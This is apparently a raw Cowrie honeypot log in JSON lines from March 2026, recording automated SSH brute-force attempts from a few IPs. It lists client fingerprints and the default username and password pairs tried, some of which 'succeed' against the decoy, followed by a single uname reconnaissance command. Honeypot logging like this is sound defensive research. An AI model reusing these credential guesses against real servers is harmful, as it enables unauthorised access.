0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:42.419751Z","src_ip":"101.44.96.62","session":"cddcbd0de051","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:43.073555Z","src_ip":"101.44.96.62","session":"cddcbd0de051","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:44.294199Z","src_ip":"101.44.96.62","session":"cddcbd0de051","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":47960,"dst_ip":"159.203.135.109","dst_port":22,"session":"46ba2c9b725e","protocol":"ssh","message":"New connection: 101.44.96.62:47960 (159.203.135.109:22) [session: 46ba2c9b725e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:55.710424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:55.715369Z","src_ip":"101.44.96.62","session":"46ba2c9b725e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:55.932232Z","src_ip":"101.44.96.62","session":"46ba2c9b725e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123","message":"login attempt [git/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:56.582196Z","src_ip":"101.44.96.62","session":"46ba2c9b725e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:57.801996Z","src_ip":"101.44.96.62","session":"46ba2c9b725e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":60900,"dst_ip":"10.17.0.5","dst_port":22,"session":"53f639d1e26e","protocol":"ssh","message":"New connection: 2.57.122.238:60900 (10.17.0.5:22) [session: 53f639d1e26e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:59.938339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:35:59.943181Z","src_ip":"2.57.122.238","session":"53f639d1e26e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:36:00.044017Z","src_ip":"2.57.122.238","session":"53f639d1e26e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:36:00.365903Z","src_ip":"2.57.122.238","session":"53f639d1e26e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:36:01.469596Z","src_ip":"2.57.122.238","session":"53f639d1e26e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.95591974258423,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:36:01.693311Z","src_ip":"205.210.31.104","session":"726effca7d3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":50844,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6f73424f53c","protocol":"ssh","message":"New connection: 101.44.96.62:50844 (159.203.135.109:22) [session: e6f73424f53c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:36:09.149783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:36:09.155392Z","src_ip":"101.44.96.62","session":"e6f73424f53c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:36:09.374489Z","src_ip":"101.44.96.62","session":"e6f73424f53c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranger","password":"ranger123","message":"login attempt [ranger/ranger123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:36:10.023510Z","src_ip":"101.44.96.62","session":"e6f73424f53c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:36:11.245773Z","src_ip":"101.44.96.62","session":"e6f73424f53c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":36828,"dst_ip":"159.203.135.109","dst_port":22,"session":"2464d291ef60","protocol":"ssh","message":"New connection: 101.44.96.62:36828 (159.203.135.109:22) [session: 2464d291ef60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:36:22.610804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:36:22.615128Z","src_ip":"101.44.96.62","session":"2464d291ef60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:36:22.829346Z","src_ip":"101.44.96.62","session":"2464d291ef60","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1Q2W3E4R","message":"login attempt [root/1Q2W3E4R] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:36:23.477027Z","src_ip":"101.44.96.62","session":"2464d291ef60","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:36:23.942847Z","src_ip":"101.44.96.62","session":"2464d291ef60","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:36:23.946105Z","src_ip":"101.44.96.62","session":"2464d291ef60","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:36:24.162747Z","src_ip":"101.44.96.62","session":"2464d291ef60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:36:24.167228Z","src_ip":"101.44.96.62","session":"2464d291ef60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":39544,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ba654919c54","protocol":"ssh","message":"New connection: 101.44.96.62:39544 (159.203.135.109:22) [session: 2ba654919c54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:36:36.088344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:36:36.093180Z","src_ip":"101.44.96.62","session":"2ba654919c54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:36:36.307233Z","src_ip":"101.44.96.62","session":"2ba654919c54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:36:36.949722Z","src_ip":"101.44.96.62","session":"2ba654919c54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:36:38.166859Z","src_ip":"101.44.96.62","session":"2ba654919c54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":50946,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ad22160c297","protocol":"ssh","message":"New connection: 101.44.96.62:50946 (159.203.135.109:22) [session: 3ad22160c297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:36:49.515007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:36:49.520745Z","src_ip":"101.44.96.62","session":"3ad22160c297","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:36:49.739106Z","src_ip":"101.44.96.62","session":"3ad22160c297","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"tom","message":"login attempt [tom/tom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:36:50.388371Z","src_ip":"101.44.96.62","session":"3ad22160c297","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:36:51.607539Z","src_ip":"101.44.96.62","session":"3ad22160c297","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":38928,"dst_ip":"159.203.135.109","dst_port":22,"session":"975fe2670bb4","protocol":"ssh","message":"New connection: 101.44.96.62:38928 (159.203.135.109:22) [session: 975fe2670bb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:37:02.957910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:37:02.962592Z","src_ip":"101.44.96.62","session":"975fe2670bb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:37:03.180835Z","src_ip":"101.44.96.62","session":"975fe2670bb4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:37:03.833801Z","src_ip":"101.44.96.62","session":"975fe2670bb4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:37:04.309282Z","src_ip":"101.44.96.62","session":"975fe2670bb4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:37:04.312661Z","src_ip":"101.44.96.62","session":"975fe2670bb4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:37:04.533763Z","src_ip":"101.44.96.62","session":"975fe2670bb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:37:04.538128Z","src_ip":"101.44.96.62","session":"975fe2670bb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":60222,"dst_ip":"159.203.135.109","dst_port":22,"session":"7597cf21f986","protocol":"ssh","message":"New connection: 101.44.96.62:60222 (159.203.135.109:22) [session: 7597cf21f986]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:37:16.403750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:37:16.408503Z","src_ip":"101.44.96.62","session":"7597cf21f986","protocol":"ssh"}
